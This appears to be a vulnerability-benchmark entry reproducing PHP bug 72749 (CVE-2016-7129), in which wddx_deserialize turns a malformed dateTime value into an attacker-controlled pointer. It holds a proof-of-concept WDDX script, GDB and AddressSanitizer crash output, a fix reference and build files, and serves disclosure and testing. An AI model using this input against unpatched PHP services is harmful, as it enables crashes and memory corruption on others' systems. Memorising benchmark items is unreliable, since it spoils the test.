Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2016-7129
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72749
## Description:
PHP Bug ID: 72749
Summary: wddx_deserialize allows illegal memory access
Status: Closed
PHP Version: 5.6.24
Assigned: stas (profile)
CVE-ID: 2016-7129

Description:
Description:
------------
While deserializing an invalid dateTime value, wddx_deserialize will parse it in a wrong way and then assign the supplied value as the address of the created variable. This allows illegal memory access. We noted that the problem seems to happen because of the included \r inside the value of the dateTime.

GDB output
----------
$ gdb -q --args /ramdisk/php-fuzz/phuzzer/php-70//sapi/cli/php -n wdx17.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /ramdisk/php-fuzz/phuzzer/php-70//sapi/cli/php...done.
gdb-peda$ r
Starting program: /ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php -n wdx17.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
array(1) {
  ["aDateTime3"]=>

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffef65ea20 --> 0x41414131 ('1AAA')
RCX: 0x1501b90 (<php_var_dump+1312>:    mov    r13,rbx)
RDX: 0x8282828
RSI: 0x41414131 ('1AAA')
RDI: 0x41414141 ('AAAA')
RBP: 0x7fffffffa280 --> 0x7fffffffa400 --> 0x7fffffffa4e0 --> 0x7fffffffa530 --> 0x7fffffffa550 --> 0x7fffffffa5c0 (--> ...)
RSP: 0x7fffffffa110 --> 0x16ae960 (<php_printf>:        lea    rsp,[rsp-0x98])
RIP: 0x1501bf8 (<php_var_dump+1416>:    mov    rdx,QWORD PTR [rsi+0x10])
R8 : 0xffffdecbd45 --> 0x0
R9 : 0x2451400 --> 0xff0b0578ff0b0ad8
R10: 0x1
R11: 0x0
R12: 0x0
R13: 0xffffdecbd44 --> 0x0
R14: 0x7fffffffa170 --> 0x41b58ab3
R15: 0xffffffff42e --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1501be7 <php_var_dump+1399>:       mov    rcx,QWORD PTR [rsp+0x8]
   0x1501bec <php_var_dump+1404>:       mov    rdx,QWORD PTR [rsp]
   0x1501bf0 <php_var_dump+1408>:       lea    rsp,[rsp+0x98]
=> 0x1501bf8 <php_var_dump+1416>:       mov    rdx,QWORD PTR [rsi+0x10]
   0x1501bfc <php_var_dump+1420>:       lea    r11,[rip+0xf4f1fd]        # 0x2450e00
   0x1501c03 <php_var_dump+1427>:       lea    rsi,[rip+0xf4f1b6]        # 0x2450dc0
   0x1501c0a <php_var_dump+1434>:       test   r12d,r12d
   0x1501c0d <php_var_dump+1437>:       lea    rdi,[rip+0xf4f3ec]        # 0x2451000
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa110 --> 0x16ae960 (<php_printf>:       lea    rsp,[rsp-0x98])
0008| 0x7fffffffa118 --> 0x28286b8 --> 0x7ffff5689910 (<xmlFreeParserCtxt>:     test   rdi,rdi)
0016| 0x7fffffffa120 --> 0x7fffef676000 --> 0x7fffef676070 --> 0x7fffef6760e0 --> 0x7fffef676150 --> 0x7fffef6761c0 (--> ...)
0024| 0x7fffffffa128 --> 0x7fffef66c158 --> 0x61700000f900 --> 0x611027800013 --> 0x0
0032| 0x7fffffffa130 --> 0x7fffef66c140 --> 0x7fffef66c1e0 --> 0x7fffef66c280 --> 0x7fffef66c320 --> 0x7fffef66c3c0 (--> ...)
0040| 0x7fffffffa138 --> 0x7fffef6140c0 --> 0x7fffef658420 --> 0xc002000700000002
0048| 0x7fffffffa140 --> 0x7fffffffa340 --> 0x0
0056| 0x7fffffffa148 --> 0x7ffff7de68f6 (<_dl_fixup+214>:       mov    r8,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000001501bf8 in php_var_dump (struc=struc@entry=0x7fffef65ea20, level=level@entry=0x3) at /home/operac/php-70/ext/standard/var.c:111
111                             php_printf("%sstring(%zd) \"", COMMON, Z_STRLEN_P(struc));
gdb-peda$ p *struc
$1 = {
  value = {
    lval = 0x41414131,
    dval = 5.4090087986211999e-315,
    counted = 0x41414131,
    str = 0x41414131,
    arr = 0x41414131,
    obj = 0x41414131,
    res = 0x41414131,
    ref = 0x41414131,
    ast = 0x41414131,
    zv = 0x41414131,
    ptr = 0x41414131,
    ce = 0x41414131,
    func = 0x41414131,
    ww = {
      w1 = 0x41414131,
      w2 = 0x0
    }
  },
  u1 = {
    v = {
      type = 0x6,
      type_flags = 0x14,
      const_flags = 0x0,
      reserved = 0x0
    },
    type_info = 0x1406
  },
  u2 = {
    var_flags = 0xffffffff,
    next = 0xffffffff,
    cache_slot = 0xffffffff,
    lineno = 0xffffffff,
    num_args = 0xffffffff,
    fe_pos = 0xffffffff,
    fe_iter_idx = 0xffffffff
  }
}


Test script:
---------------
<?php

// timestamp(2004-09-10T05:52:49+00) = 0x41414131

$xml = <<<XML
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
        <data>
                <struct>
                     <var name='aDateTime3'>
                         <dateTime>2\r2004-09-10T05:52:49+00</dateTime>
                     </var>
                 </struct>
        </data>
</wddxPacket>
XML;

$array = wddx_deserialize($xml);
var_dump($array);

Expected result:
----------------
Not crash

Actual result:
--------------
/ramdisk/php-fuzz/phuzzer/php-70//sapi/cli/php -n wdx16.php
array(1) {
  ["aDateTime3"]=>
  ASAN:SIGSEGV
=================================================================
==21112==ERROR: AddressSanitizer: SEGV on unknown address 0x000041414141 (pc 0x000001501bf8 bp 0x7fff933d2710 sp 0x7fff933d25a0 T0)
    #0 0x1501bf7 in php_var_dump /home/operac/php-70/ext/standard/var.c:111
    #1 0x150229b in php_array_element_dump /home/operac/php-70/ext/standard/var.c:47
    #2 0x150229b in php_var_dump /home/operac/php-70/ext/standard/var.c:127
    #3 0x15037c8 in zif_var_dump /home/operac/php-70/ext/standard/var.c:205
    #4 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
    #5 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
    #6 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
    #7 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
    #8 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
    #9 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
    #10 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
    #11 0x7fa02afca82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #12 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/standard/var.c:111 php_var_dump
==21112==ABORTING

Comments:

[Comment 1] [2016-08-04 07:19 UTC] stas@php.net
fix in https://gist.github.com/be0c8e48ffaf421d003f1335fcbe6fe4
 and in security repo as 659a21dc20f0b64dafd8cb16573059d3b45cce6b. Please verify.
Links: https://gist.github.com/be0c8e48ffaf421d003f1335fcbe6fe4

[Comment 2] [2016-08-07 05:37 UTC] fernando at null-life dot com
operac@hp2:~/crashes/wdx15$ /home/operac/build2/bin/php -n 15.php 
array(1) {
 ["aDateTime3"]=>
 string(24) "2
2004-09-10T05:52:49+00"
}

Patch works OK. thanks.

[Comment 3] [2016-08-11 06:11 UTC] fernando at null-life dot com
Related To: Bug #72790
Links: https://bugs.php.net/bug.php?id=72790

Commit References:
659a21dc20f0b64dafd8cb16573059d3b45cce6b

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout f1a0b7d690a2e89e27ccf58c19fc64fb446015b9
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: